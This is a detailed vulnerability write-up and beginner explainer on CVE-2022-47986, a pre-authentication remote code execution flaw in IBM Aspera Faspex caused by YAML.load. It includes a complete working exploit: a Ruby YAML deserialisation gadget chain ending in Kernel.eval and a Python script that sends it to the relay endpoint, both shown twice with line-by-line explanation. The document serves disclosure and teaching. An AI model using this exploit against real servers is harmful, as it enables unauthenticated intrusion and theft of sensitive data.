PreAuth RCE in Aspera Faspex: Case Guide for Auditing Ruby on Rails
An unauthenticated attacker could send a crafted request to the package relay endpoint, which passed user-controlled data to an unsafe YAML.load, enabling remote command execution. The vulnerability was patched in Faspex 4.4.2 Patch Level 2.
assetnote.io
Published on assetnote.io
Many enterprise organizations that deal with large amounts of data that needs to be shared between employees or stakeholders often use enterprise file transfer software.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
IBM Aspera Faspex is a file-exchange application built on IBM Aspera High-Speed Transfer Server, offering a web-based GUI and advanced management options for FASP high-speed transfer. It is used by enterprises that move large volumes of sensitive data between employees and stakeholders, which makes it a single point of failure: a breach of the service exposes everything stored in it. Faspex advertises encryption options for uploaded files, but the pre-authentication RCE described here breaks that security model and allows arbitrary command execution on the Faspex server. The vulnerability was assigned CVE-2022-47986.
The affected feature is the package relay endpoint, handled by the package_relay controller. The route is defined in the Rails routes file as follows:
map.resource :package_relay, :controller => :package_relay, :only => :none,
:member => {:relay_package => :post, :relay_access => :post}
Both members are POST actions, and relay_package appeared to be reachable without authentication.
Setup
The research was done by auditing the Faspex Ruby on Rails code base directly. The layout followed the normal Rails structure:
normal layout:
app/
views/
controllers/
models/
...
config/
lib/
Gemfile
...
The methodology was to deep dive into the app/ folder, map the routes to their controllers, and focus heavily on controllers that were routable without authentication. No accounts or special roles were needed for the attack itself: the endpoint appeared to be pre-authentication. The exploit code is a short Python script using requests.
Finding it
When auditing a Rails application, two things are worth checking early. The first is whether the software ships a static SECRET_KEY_BASE value in any configuration file. If that value is static rather than derived from an environment variable, it can lead to command execution through Ruby deserialisation payloads, as happened in the past with GitHub Enterprise. The second is the routes file, which lists routes and the controllers that handle them, roughly the equivalent of web.xml for people used to auditing Tomcat.
Beyond framework specifics, many sinks in Rails projects are dangerous because of the Ruby language and its libraries rather than Rails itself. The write-up lists the following sinks to look for.
Deserialisation:
Oj.loadActiveSupport::XmlMini.parse- Session cookie if the
SECRET_KEY_BASEis controlled, leaked or guessed YAML.load
Template injection:
render inline: "Hello " + params[:name]ERB.new("Hello " + params[:name]).result(context)
SQL injection:
- ActiveRecord based SQL injection (https://rails-sqli.org/)
XSS, via render text, html etc, in:
<%= @var %>raw varh var
The vulnerability found in Faspex required either researching dangerous behaviours for sinks in Ruby or prior knowledge of them. The team identified a call to YAML.load inside a controller that appeared to be accessible without authentication. YAML.load is a deserialisation sink: with default Ruby configurations it can construct arbitrary classes, and through deserialisation gadgets it can lead to command execution when it processes user-controlled data. Arbitrary class instantiation does not always lead to RCE, but given the dynamic nature of class instantiation through YAML.load, it was a likely candidate.
The next step was backtracing (tainting) the calls to determine whether user input reached the sink. The affected controller is app/controllers/package_relay_controller.rb:
def relay_package
begin
ip = request.remote_ip
host = request.remote_host
relay = MultiServer::RelayDescriptor.new(params, ip, host)
...
...
The controller passes the request params into MultiServer::RelayDescriptor.new. Tracing that call leads to lib/multi_server/relay_descriptor.rb:
module MultiServer
class RelayDescriptor
attr_accessor :params
attr_accessor :package_paths, :encryption, :external_emails
attr_reader :requesting_ip, :requesting_host
def initialize(params_hash, requesting_ip_addr, requesting_host_addr)
self.params = params_hash
@requesting_ip = requesting_ip_addr.to_s
@requesting_host = requesting_host_addr.to_s
end
def params=(params_hash)
@params = params_hash
self.class.require_required_keys(self)
self.class.parse(self)
end
def self.parse(relay)
file_list = relay.params[:package_file_list]
relay.package_paths = file_list.collect{ |p|
EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/'))
}
enc_emails = relay.params.delete(:external_emails)
relay.external_emails = YAML.load(enc_emails)
relay.encryption = EConfiguration.require_ear?
end
def self.require_required_keys(relay)
required_keys.each do |rkey|
missing_rkey = relay.params[rkey].nil?
raise InvalidRelayParameters, "missing #{rkey.to_s.inspect}" if missing_rkey
end
end
...
The assignment to params triggers require_required_keys, which raises InvalidRelayParameters if any required key is missing, and then parse. Inside parse, the external_emails parameter is deleted from the params hash and passed straight into YAML.load. That is the tainted flow: the user-controlled external_emails parameter reaches the deserialisation sink.
Exploitation
Step 1: choose a gadget chain
The base gadget used was the universal deserialisation gadget for Ruby 2.x and 3.x published at https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html. In realistic attack scenarios the Ruby version bundled with Faspex was a problem: certain classes the gadget tried to instantiate were unavailable or differed between Ruby versions. In particular, the class Gem::RequestSet was missing on a lot of Faspex installations. The team worked around this using PrettyPrint, located in vendor/ruby/lib/ruby/1.9.1/prettyprint.rb:
class PrettyPrint
...
def breakable(sep=' ', width=sep.length)
group = @group_stack.last
if group.break?
flush
@output << @newline
@output << @genspace.call(@indent)
@output_width = @indent
@buffer_width = 0
else
@buffer << Breakable.new(sep, width, self)
@buffer_width += width
break_outmost_groups
end
end
...
The final YAML gadget, reliable across Faspex installations, is:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `whoami`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
Step 2: send the payload to the relay endpoint
The exploit script posts the gadget as the external_emails parameter to /aspera/faspex/package_relay/relay_package:
import requests, sys
url = "{}/aspera/faspex/package_relay/relay_package".format(sys.argv[1])
uuid = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"
exploit_yaml = """
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `CMD`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
""".replace("CMD",sys.argv[2])
payload = {
"package_file_list": [
"/"
],
"external_emails": exploit_yaml,
"package_name": "assetnote_pack",
"package_note": "hello from assetnote team",
"original_sender_name": "assetnote",
"package_uuid": uuid,
"metadata_human_readable": "Yes",
"forward": "pew",
"metadata_json": '{}',
"delivery_uuid": uuid,
"delivery_sender_name": "assetnote",
"delivery_title": "TEST",
"delivery_note": "TEST",
"delete_after_download": True,
"delete_after_download_condition": "IDK",
}
r = requests.post(url,json=payload,verify=False)
print(r.text)
Because the endpoint appeared to be unauthenticated, no session or credentials were required. The command runs on the Faspex server when the YAML is deserialised.
Root cause
The relay controller passes the full request params into MultiServer::RelayDescriptor.new, and the descriptor's parse method takes the external_emails parameter and hands it directly to YAML.load. YAML.load in default Ruby configurations can instantiate arbitrary classes, so a crafted YAML document becomes a deserialisation gadget chain that ends in Kernel.eval. The endpoint appeared to be routable without authentication, so the sink was reachable by anyone who could send a POST request. The required keys checked by require_required_keys must be present, which the exploit body satisfies.
Impact
The vulnerability is a pre-authentication RCE: an unauthenticated attacker can execute arbitrary commands on the Aspera Faspex server. File transfer software can store sensitive data and act as a single point of failure, and the encryption options are part of the security model this vulnerability breaks. The write-up does not describe any further post-exploitation steps.
Fix
IBM notified the researchers that the vulnerability had been patched in Faspex 4.4.2 Patch Level 2. Faspex 5.x does not contain the vulnerability. The remediation is to upgrade to Faspex 4.4.2 Patch Level 2 or to Faspex 5.x; IBM's security advisory for the issue is at https://www.ibm.com/support/pages/node/6952319.
Timeline
- Oct 6th, 2022: Disclosure of the RCE vulnerability in Aspera Faspex to IBM.
- Oct 6th, 2022: IBM responded that submitting a vulnerability report grants IBM a no charge licence to all intellectual property rights unless the reporter notifies them that the rights are covered by someone else. The response included the following text:
So that IBM may utilize your vulnerability report to determine and develop appropriate remediation procedures, by submitting a vulnerability report to IBM, you grant to IBM Corporation, its subsidiaries and its affiliates, a perpetual, irrevocable, no charge license to all intellectual property rights licensable by you in or related to the use of this material.
Also, for similar reasons, it is important that you notify us if any of this material is not your own work or is covered by the intellectual property rights of others.
Not notifying us means that you
-
Oct 14th, 2022: The researchers clarified with IBM that the research was done during employment at Assetnote and that, per the employment contract, all intellectual property rights belong to Assetnote.
-
Nov 5th, 2022: IBM acknowledged and accepted that the intellectual property rights are owned by Assetnote.
-
Jan 15th, 2023: The researchers requested an update on remediation.
-
Jan 18th, 2023: IBM notified them that the vulnerability had been patched in Faspex 4.4.2 Patch Level 2.
-
Other
YAML.loadsinks on unauthenticated routes. Map the routes file to controllers and trace parameters intoYAML.load,Oj.load,ActiveSupport::XmlMini.parseandYAML.load-style deserialisation calls. A positive result is a parameter you control reaching the sink and a gadget chain executing a command such aswhoami. -
Static
SECRET_KEY_BASE. Check configuration files for a static value rather than one derived from an environment variable. A positive result is a value you can use to forge a session cookie carrying a deserialisation payload. -
Template injection sinks. Look for
render inline:andERB.new(...).result(context)built from request parameters. A positive result is evaluation of an expression you supply in the rendered output. -
Gadget portability. When the standard chain fails because a class such as
Gem::RequestSetis missing, look for classes bundled with the application, asPrettyPrintwas here, that can be chained to an eval sink. A positive result is a chain that executes reliably across the installations you test. -
Required-key checks. Where a controller validates required parameters before parsing, supply every required key so the request reaches the sink, as the exploit body does with
package_file_listand the other relay fields.
What happened, in plain words
A security research team found a serious flaw in a piece of software called IBM Aspera Faspex. Faspex is a program that companies install on their own servers so that their employees and outside partners can send very large files to each other quickly. Think of it like a private, industrial-strength version of a file-sharing website: instead of emailing a huge video file, you upload it to Faspex and the other person downloads it from there.
Because companies use Faspex to move sensitive data, a Faspex server often holds a lot of valuable information in one place. If someone breaks into it, they can potentially reach everything stored on it. That is what security people mean when they call a service a "single point of failure": one door, and behind it everything.
The flaw the team found is called a pre-authentication remote code execution, usually shortened to pre-auth RCE. Let us unpack that phrase word by word, because it is the heart of the story.
- Remote means the attacker does not need to be sitting at the machine or have physical access to it. They can do it over the internet, from anywhere.
- Code execution means the attacker can make the server run commands of their choosing, as if they had a keyboard plugged into it. This is about the worst outcome a web application can suffer, because from there an attacker can read files, install programs, or move on to other machines.
- Pre-authentication means the attacker does not need to log in first. No username, no password, no account. The vulnerable feature answers anyone who knocks, before it ever asks who they are.
So the full phrase means: anyone on the internet, without any account, could make the Faspex server run their commands. Faspex advertises encryption for the files people upload, and that encryption is meant to keep the data safe. This flaw breaks that promise entirely, because an attacker who can run commands on the server can simply read the data directly, encryption or not.
The vulnerability was given an official tracking number, CVE-2022-47986. A CVE is a public catalogue entry: a unique ID that lets everyone in the world refer to the same security flaw unambiguously. When a company patches its software, it points at the CVE number so customers know exactly which problem is fixed.
The team that found it works at a company called Assetnote, which runs an Attack Surface Management platform. Customers of that platform were the first to know when this vulnerability affected them.
The affected feature is called the package relay. The team found that the part of the code that handles it could be tricked into running commands.
To understand how, you need one more idea: deserialisation. When a program wants to store or send a complex object (say, a package with all its fields), it can convert it into a text format, like writing down a description of the object. Turning the object into text is called serialisation; turning the text back into a live object is deserialisation. The danger is that some text formats can describe not just plain data but also instructions to create particular kinds of objects. If a program deserializes text that an attacker controls, the attacker can smuggle in object descriptions the programmer never intended, and sometimes those objects, when created, end up running a command. A chain of such objects is called a gadget chain, and the individual building blocks are gadgets. The everyday comparison: imagine a form that says "describe your parcel" and a warehouse worker who blindly follows any instruction written on the form, including "open the safe and hand over the cash". The form is the serialised data; the worker is the deserializer.
The specific function involved here is YAML.load. YAML is a human-friendly text format for describing data, often used for configuration files. Ruby, the programming language Faspex is written in, ships a function called YAML.load that reads YAML text and rebuilds the objects it describes. In its default configuration, YAML.load is willing to create almost any kind of object the text asks for, and that willingness is what makes it dangerous when the text comes from a user.
The software and the framework
Faspex is built with Ruby on Rails, often just called Rails. Rails is a web framework: a large collection of pre-written code that handles the boring, repetitive parts of building a website, so programmers can focus on their own features. If you have ever used a website where the pages end in different paths like /login or /settings, Rails is the kind of tool that decides which piece of code answers each path.
Rails organises a project into three kinds of files, and knowing them is the key to reading the rest of this article:
- Models describe the data and the rules around it (for example, what a "package" is and which fields it has).
- Views are the templates that produce what you see in the browser, the HTML pages.
- Controllers are the code that receives an incoming request, decides what to do, and picks which view to show. When you click a button on a website, a controller somewhere is the thing that reacts.
A Rails project also has a routes file. This is a list that says, for each web address the application answers, which controller should handle it. If you have ever seen a building directory in a lobby ("Floor 3: Accounting, Floor 4: Legal"), the routes file is that directory for a web application. The team's first job was to read this directory and work out which controllers could be reached without logging in.
The route for the vulnerable feature is defined in the routes file like this:
map.resource :package_relay, :controller => :package_relay, :only => :none,
:member => {:relay_package => :post, :relay_access => :post}
map.resource :package_relayregisters a resource namedpackage_relay. In Rails, a "resource" is a thing the application exposes over the web, and registering one sets up a family of addresses for it.:controller => :package_relaysays that requests for this resource are handled by the controller namedpackage_relay.:only => :nonesays: do not create any of the standard automatic actions for this resource. Normally Rails would generate the usual set (list, show, create, and so on); here the programmers wanted only their own custom ones.:member => {...}adds custom actions that apply to a single member of the resource. The two entries arerelay_packageandrelay_access, and both are marked:post.
POST is one of the methods of the HTTP protocol, the language browsers and servers speak. When you type an address into your browser and press Enter, that is usually a GET request: "give me this page". A POST request is what a form submission sends: "here is some data, please act on it". Marking these actions as POST means they are meant to receive data, not just serve pages. Crucially, the route shows that relay_package appeared to be reachable without any login step, which is what makes the flaw pre-authentication.
How the team approached the audit
An audit here means reading the source code of the application looking for mistakes, the way a building inspector walks through a house looking for weak beams. The team had the Faspex code base in front of them, laid out in the standard Rails structure:
normal layout:
app/
views/
controllers/
models/
...
config/
lib/
Gemfile
...
What each part is:
app/is where the application's own code lives, split intoviews/(the page templates),controllers/(the request handlers) andmodels/(the data descriptions).config/holds configuration files, the settings that tell the application how to behave.lib/holds supporting code, helper libraries the application uses but that are not strictly part of the web pages.Gemfileis the list of external libraries the project depends on. In Ruby, an external library is called a gem, and the Gemfile is like a shopping list of everything the application needs installed to run.
Their method was simple to state and laborious to do: go deep into the app/ folder, map every route to the controller that handles it, and concentrate on the controllers that could be reached without logging in. The reasoning is that a flaw behind a login is only exploitable by someone who already has an account, which narrows the danger; a flaw in front of the login is open to the whole internet.
What to look for in Rails applications
Before finding the actual bug, the team listed the kinds of dangerous code they hunt for. A sink is security slang for a place where data ends up being used in a way that can be harmful, like a drain at the bottom of a pipe. The opposite end, where the data enters the application (a form field, a URL parameter), is called a source. Auditing often means tracing from a source to a sink: can something I type reach something dangerous?
Two Rails-specific things are worth checking early. The first is a setting called SECRET_KEY_BASE. Rails uses this long random string to sign things it gives to users, most importantly session cookies. A cookie is a small piece of text a website asks your browser to store and send back with every request, so the site can remember who you are between page loads; a session cookie is the one that says "this is the logged-in user". The signing is what stops someone editing their cookie to pretend to be another user. If the SECRET_KEY_BASE is a fixed value baked into the software rather than a random value generated per installation, then anyone who reads the code knows the signing key, can forge cookies, and, because Rails cookies can carry serialised objects, can potentially smuggle a deserialisation payload through a cookie. The write-up points to a past exploitation of this pattern in GitHub Enterprise.
The second is the routes file itself, which they describe as roughly the Rails equivalent of web.xml, the configuration file that lists addresses and handlers in Java web servers. Reading it tells you the whole front door of the application.
Beyond framework specifics, many dangerous sinks in Rails projects are dangerous because of the Ruby language and its libraries rather than Rails itself. The team's list:
Deserialisation sinks (places that rebuild objects from text):
Oj.loadActiveSupport::XmlMini.parse- A session cookie, if the
SECRET_KEY_BASEis controlled, leaked or guessed, because then the cookie's contents can be forged. YAML.load, the one that turned out to matter here.
Template injection sinks (places that build a page from text that might include code):
render inline: "Hello " + params[:name]ERB.new("Hello " + params[:name]).result(context)
SQL injection (places that build database queries from user text):
- ActiveRecord based SQL injection (https://rails-sqli.org/)
XSS, short for cross-site scripting, via render text, html etc, in:
<%= @var %>raw varh var
The team says the Faspex bug would have required either researching dangerous behaviours for sinks in Ruby or prior knowledge about them.
The YAML.load on the relay route
While reading the controllers, the team found a call to YAML.load in a controller that looked reachable without authentication. That combination, an unauthenticated route plus a deserialisation sink, is exactly the pattern from their list.
Their next step was backtracing, also called tainting. The idea: start at the sink and walk backwards through the code to see where its input came from, asking at each step "could a user have put this here?". If the answer all the way back is yes, the sink is reachable with attacker-controlled data. The everyday version: following a river upstream to check whether a factory is dumping into it.
The controller is in the file app/controllers/package_relay_controller.rb:
def relay_package
begin
ip = request.remote_ip
host = request.remote_host
relay = MultiServer::RelayDescriptor.new(params, ip, host)
...
...
Line by line:
def relay_packagestarts the definition of the method (a named block of code) that handles therelay_packageaction.beginopens a block where errors can be caught later; the...shows the rest was trimmed for the article.ip = request.remote_ipasks the web request object for the address the request came from and stores it in a variable calledip.host = request.remote_hostdoes the same for the hostname of the requester.relay = MultiServer::RelayDescriptor.new(params, ip, host)is the important line.paramsis the bundle of everything the user sent in the request: form fields, URL parameters, the body.MultiServer::RelayDescriptoris a class (a blueprint for an object) and.new(...)creates one, handing it the user'sparamsalong with the IP and host. So user input is passed straight into another part of the code.
Following that call leads to lib/multi_server/relay_descriptor.rb:
module MultiServer
class RelayDescriptor
attr_accessor :params
attr_accessor :package_paths, :encryption, :external_emails
attr_reader :requesting_ip, :requesting_host
def initialize(params_hash, requesting_ip_addr, requesting_host_addr)
self.params = params_hash
@requesting_ip = requesting_ip_addr.to_s
@requesting_host = requesting_host_addr.to_s
end
def params=(params_hash)
@params = params_hash
self.class.require_required_keys(self)
self.class.parse(self)
end
def self.parse(relay)
file_list = relay.params[:package_file_list]
relay.package_paths = file_list.collect{ |p|
EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/'))
}
enc_emails = relay.params.delete(:external_emails)
relay.external_emails = YAML.load(enc_emails)
relay.encryption = EConfiguration.require_ear?
end
def self.require_required_keys(relay)
required_keys.each do |rkey|
missing_rkey = relay.params[rkey].nil?
raise InvalidRelayParameters, "missing #{rkey.to_s.inspect}" if missing_rkey
end
end
...
This is the heart of the bug, so let us go through it carefully.
module MultiServergroups related code under a name, like a folder for classes.class RelayDescriptordefines the blueprint for the object the controller creates.attr_accessor :paramsandattr_accessor :package_paths, :encryption, :external_emailsare shortcuts that create getter and setter methods: ways to read and write those named values on the object.attr_reader :requesting_ip, :requesting_hostcreates read-only ones.def initialize(params_hash, requesting_ip_addr, requesting_host_addr)is the constructor, the code that runs when a new object is created. It receives the three things the controller passed in.self.params = params_hashdoes not just store the value. In Ruby,self.params = xcalls the method namedparams=, which is defined a few lines below. That is the trick that starts the chain.@requesting_ip = requesting_ip_addr.to_sand the next line store the IP and host as strings (.to_sconverts to text). The@marks an instance variable, a value belonging to this particular object.def params=(params_hash)is the setter method. It first stores the hash (Ruby's word for a dictionary of key-value pairs) in@params. Thenself.class.require_required_keys(self)calls the check that all required fields are present. Thenself.class.parse(self)calls the parsing method. So merely assigning the params triggers validation and parsing.def self.parse(relay)is the parsing method;self.means it belongs to the class rather than to one object.file_list = relay.params[:package_file_list]reads thepackage_file_listfield out of the user's params.relay.package_paths = file_list.collect{ |p| EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/')) }walks over each entry in that list and builds anEPackagePathobject for it, replacing backslashes with forward slashes first. This is why the exploit later sends a file list containing/: the code expects one and will fail without it.enc_emails = relay.params.delete(:external_emails)takes theexternal_emailsfield out of the params and stores it in a variable.deleteremoves it from the hash as it reads it.relay.external_emails = YAML.load(enc_emails)is the sink. The user-suppliedexternal_emailsvalue is handed directly toYAML.load, which will rebuild whatever objects the text describes.relay.encryption = EConfiguration.require_ear?sets a flag from configuration; not relevant to the attack.def self.require_required_keys(relay)loops over a list of required field names. For each one it checks whether the value is missing (nilmeans "nothing" in Ruby). If a required field is missing it raises an error,InvalidRelayParameters, with a message naming the field. This is why the exploit has to include all the expected fields: otherwise the request is rejected before it ever reachesYAML.load.
So the tainted flow is confirmed: the user's external_emails value travels from the HTTP request, through the controller, into the descriptor, and straight into YAML.load. Nothing in between checks what it contains.
Building the exploit
Step 1: choose a gadget chain
To turn "the server will rebuild objects from my YAML" into "the server will run my command", the team needed a gadget chain: a set of object descriptions that, when rebuilt in sequence, end with a command being executed. They started from a publicly published universal deserialisation gadget for Ruby 2.x and 3.x, at https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html. "Universal" means it was designed to work across many Ruby versions.
In practice, the Ruby version bundled with Faspex caused trouble. Different Ruby versions ship different classes, and a gadget that relies on a class the target does not have simply fails. In particular, the class Gem::RequestSet was missing on a lot of Faspex installations. The team worked around this by using a different class, PrettyPrint, found in the file vendor/ruby/lib/ruby/1.9.1/prettyprint.rb:
class PrettyPrint
...
def breakable(sep=' ', width=sep.length)
group = @group_stack.last
if group.break?
flush
@output << @newline
@output << @genspace.call(@indent)
@output_width = @indent
@buffer_width = 0
else
@buffer << Breakable.new(sep, width, self)
@buffer_width += width
break_outmost_groups
end
end
...
def breakable(sep=' ', width=sep.length)defines the method, with a separator defaulting to a space and a width defaulting to the separator's length.group = @group_stack.lasttakes the most recent group from a stack (a list you add to and take from at one end).if group.break?asks whether this group allows breaking here.flushpushes out any buffered text.@output << @newlineappends the object'snewlinevalue to the output. This is the line that matters: whatever is stored innewlinegets written out.@output << @genspace.call(@indent)appends the indentation spaces.- The next two lines reset width counters.
- The
elsebranch handles the case where no break is allowed, buffering the text instead.
The final YAML gadget, which they found reliable across Faspex installations, is:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `whoami`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
---starts a YAML document.- The top level is a list (each
-starts an item). The first three items areGem::Installer,Gem::SpecFetcherandGem::Requirement, each with a dummy field (i: x,i: y). These are the outer objects that make the loader walk into the rest. Gem::Requirementhas arequirementsfield holding aGem::Package::TarReader, an object that reads a tar archive (a common bundle-of-files format).- The
TarReaderhas aniofield holding aNet::BufferedIO, an object that reads from a network connection. - That
BufferedIOhas aniofield holding aGem::Package::TarReader::Entrywithread: 0andheader: "pew". The&1labels tie these objects together so they refer to the same instance. - The
BufferedIOalso has adebug_outputfield holding aNet::WriteAdapter. A write adapter is a small object that forwards writes to some other object and method. This one'ssocketis aPrettyPrintobject and itsmethod_idis:breakable, meaning "when something is written here, callbreakableon the PrettyPrint object". - The
PrettyPrintobject has anoutputfield holding anotherNet::WriteAdapter, whosesocketis!ruby/module "Kernel"and whosemethod_idis:eval.Kernelis Ruby's core module that provides fundamental functions, andevalis the function that takes a string and runs it as code. So this adapter means "when something is written here, pass it toKernel.eval". - The
PrettyPrintobject'snewlineis"throwwhoami". The backticks are Ruby's way of running a shell command and capturing its output, so this string, if evaluated, runswhoami(a standard command that prints the current user's name). buffer: {}gives it an empty buffer, andgroup_stackholds aPrettyPrint::Groupwithbreak: true, so thatbreakabletakes the branch that writes the newline.
Step 2: send the payload to the relay endpoint
The exploit script posts the gadget as the external_emails parameter to /aspera/faspex/package_relay/relay_package:
import requests, sys
url = "{}/aspera/faspex/package_relay/relay_package".format(sys.argv[1])
uuid = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"
exploit_yaml = """
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `CMD`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
""".replace("CMD",sys.argv[2])
payload = {
"package_file_list": [
"/"
],
"external_emails": exploit_yaml,
"package_name": "assetnote_pack",
"package_note": "hello from assetnote team",
"original_sender_name": "assetnote",
"package_uuid": uuid,
"metadata_human_readable": "Yes",
"forward": "pew",
"metadata_json": '{}',
"delivery_uuid": uuid,
"delivery_sender_name": "assetnote",
"delivery_title": "TEST",
"delivery_note": "TEST",
"delete_after_download": True,
"delete_after_download_condition": "IDK",
}
r = requests.post(url,json=payload,verify=False)
print(r.text)
Line by line:
-
"package_file_list": ["/"]gives the list of file paths the relay code expects; the code builds anEPackagePathfrom each entry, and/is enough to satisfy it."external_emails": exploit_yamlis the gadget, placed in the field that flows intoYAML.load."package_name","package_note","original_sender_name"are ordinary package details."package_uuid": uuidand"delivery_uuid": uuidreuse the identifier."metadata_human_readable": "Yes","forward": "pew","metadata_json": '{}'are further fields the relay expects."delivery_sender_name","delivery_title","delivery_note"are delivery details."delete_after_download": Trueand"delete_after_download_condition": "IDK"are settings for what happens to the package after download.- The point of all these extra fields is the required-key check: if any expected field is missing, the code raises an error before reaching
YAML.load, so the body must look like a complete, normal relay request.
print(r.text)prints the server's reply, so you can see the result.
Because the endpoint appeared to be unauthenticated, no session or credentials were required. The command runs on the Faspex server when the YAML is deserialised.
Why it worked
The relay controller passes the full request params into MultiServer::RelayDescriptor.new, and the descriptor's parse method takes the external_emails parameter and hands it directly to YAML.load. YAML.load in default Ruby configurations can instantiate arbitrary classes, so a crafted YAML document becomes a deserialisation gadget chain that ends in Kernel.eval. The endpoint appeared to be routable without authentication, so the sink was reachable by anyone who could send a POST request. The required keys checked by require_required_keys must be present, which the exploit body satisfies.
What the impact is
The vulnerability is a pre-authentication RCE: an unauthenticated attacker can execute arbitrary commands on the Aspera Faspex server. File transfer software can store sensitive data and act as a single point of failure, and the encryption options are part of the security model this vulnerability breaks. The write-up does not describe any further post-exploitation steps.
The fix
IBM notified the researchers that the vulnerability had been patched in Faspex 4.4.2 Patch Level 2. Faspex 5.x does not contain the vulnerability. The remediation is to upgrade to Faspex 4.4.2 Patch Level 2 or to Faspex 5.x; IBM's security advisory for the issue is at https://www.ibm.com/support/pages/node/6952319.
Timeline
- Oct 6th, 2022: Disclosure of the RCE vulnerability in Aspera Faspex to IBM.
- Oct 6th, 2022: IBM responded that submitting a vulnerability report grants IBM a no charge licence to all intellectual property rights unless the reporter notifies them that the rights are covered by someone else. The response included the following text:
So that IBM may utilize your vulnerability report to determine and develop appropriate remediation procedures, by submitting a vulnerability report to IBM, you grant to IBM Corporation, its subsidiaries and its affiliates, a perpetual, irrevocable, no charge license to all intellectual property rights licensable by you in or related to the use of this material.
Also, for similar reasons, it is important that you notify us if any of this material is not your own work or is covered by the intellectual property rights of others.
Not notifying us means that you
- Oct 14th, 2022: The researchers clarified with IBM that the research was done during employment at Assetnote and that, per the employment contract, all intellectual property rights belong to Assetnote.
- Nov 5th, 2022: IBM acknowledged and accepted that the intellectual property rights are owned by Assetnote.
- Jan 15th, 2023: The researchers requested an update on remediation.
- Jan 18th, 2023: IBM notified them that the vulnerability had been patched in Faspex 4.4.2 Patch Level 2.
If you are auditing a similar application, these are the directions the team suggests.
- Other
YAML.loadsinks on unauthenticated routes. Map the routes file to controllers and trace parameters intoYAML.load,Oj.load,ActiveSupport::XmlMini.parseandYAML.load-style deserialisation calls. A positive result is a parameter you control reaching the sink and a gadget chain executing a command such aswhoami. - Static
SECRET_KEY_BASE. Check configuration files for a static value rather than one derived from an environment variable. A positive result is a value you can use to forge a session cookie carrying a deserialisation payload. - Template injection sinks. Look for
render inline:andERB.new(...).result(context)built from request parameters. A positive result is evaluation of an expression you supply in the rendered output. - Gadget portability. When the standard chain fails because a class such as
Gem::RequestSetis missing, look for classes bundled with the application, asPrettyPrintwas here, that can be chained to an eval sink. A positive result is a chain that executes reliably across the installations you test. - Required-key checks. Where a controller validates required parameters before parsing, supply every required key so the request reaches the sink, as the exploit body does with
package_file_listand the other relay fields.
Glossary
- API: a defined way for one piece of software to talk to another, like a menu of requests a service accepts.
- Audit: reading source code looking for security mistakes.
- Backtracing (tainting): following data backwards from a dangerous place in the code to see whether a user could have supplied it.
- Controller: the part of a web application that receives a request and decides what to do.
- Cookie: a small piece of text a website asks your browser to store and send back with each request, used to remember who you are.
- CVE: a public catalogue number that uniquely identifies a security vulnerability.
- Deserialisation: turning stored text back into live objects in a program; dangerous when the text is attacker-controlled.
- Gadget: one object in a chain that, when created during deserialisation, does something the programmer did not intend.
- Gadget chain: a set of gadgets arranged so that creating them in order ends in a harmful action such as running a command.
- Gem: an external library in the Ruby programming language.
- Gemfile: the list of gems a Ruby project depends on.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- JSON: a standard text format for structured data, used to send data between programs.
- Model: the part of a web application that describes data and its rules.
- POST: an HTTP method used to send data to a server, as a form submission does.
- Pre-authentication: reachable without logging in.
- RCE (remote code execution): a flaw that lets an attacker make a machine run commands of their choosing over a network.
- Routes file: the list in a Rails application that maps web addresses to the controllers that handle them.
- Ruby on Rails: a web framework written in the Ruby language for building web applications.
- SECRET_KEY_BASE: the secret value Rails uses to sign cookies and other data; if it is known, those can be forged.
- Serialisation: turning a live object into text so it can be stored or sent.
- Session cookie: the cookie that identifies a logged-in user.
- Single point of failure: one service whose compromise exposes everything it holds.
- Sink: a place in code where data is used in a way that can be harmful.
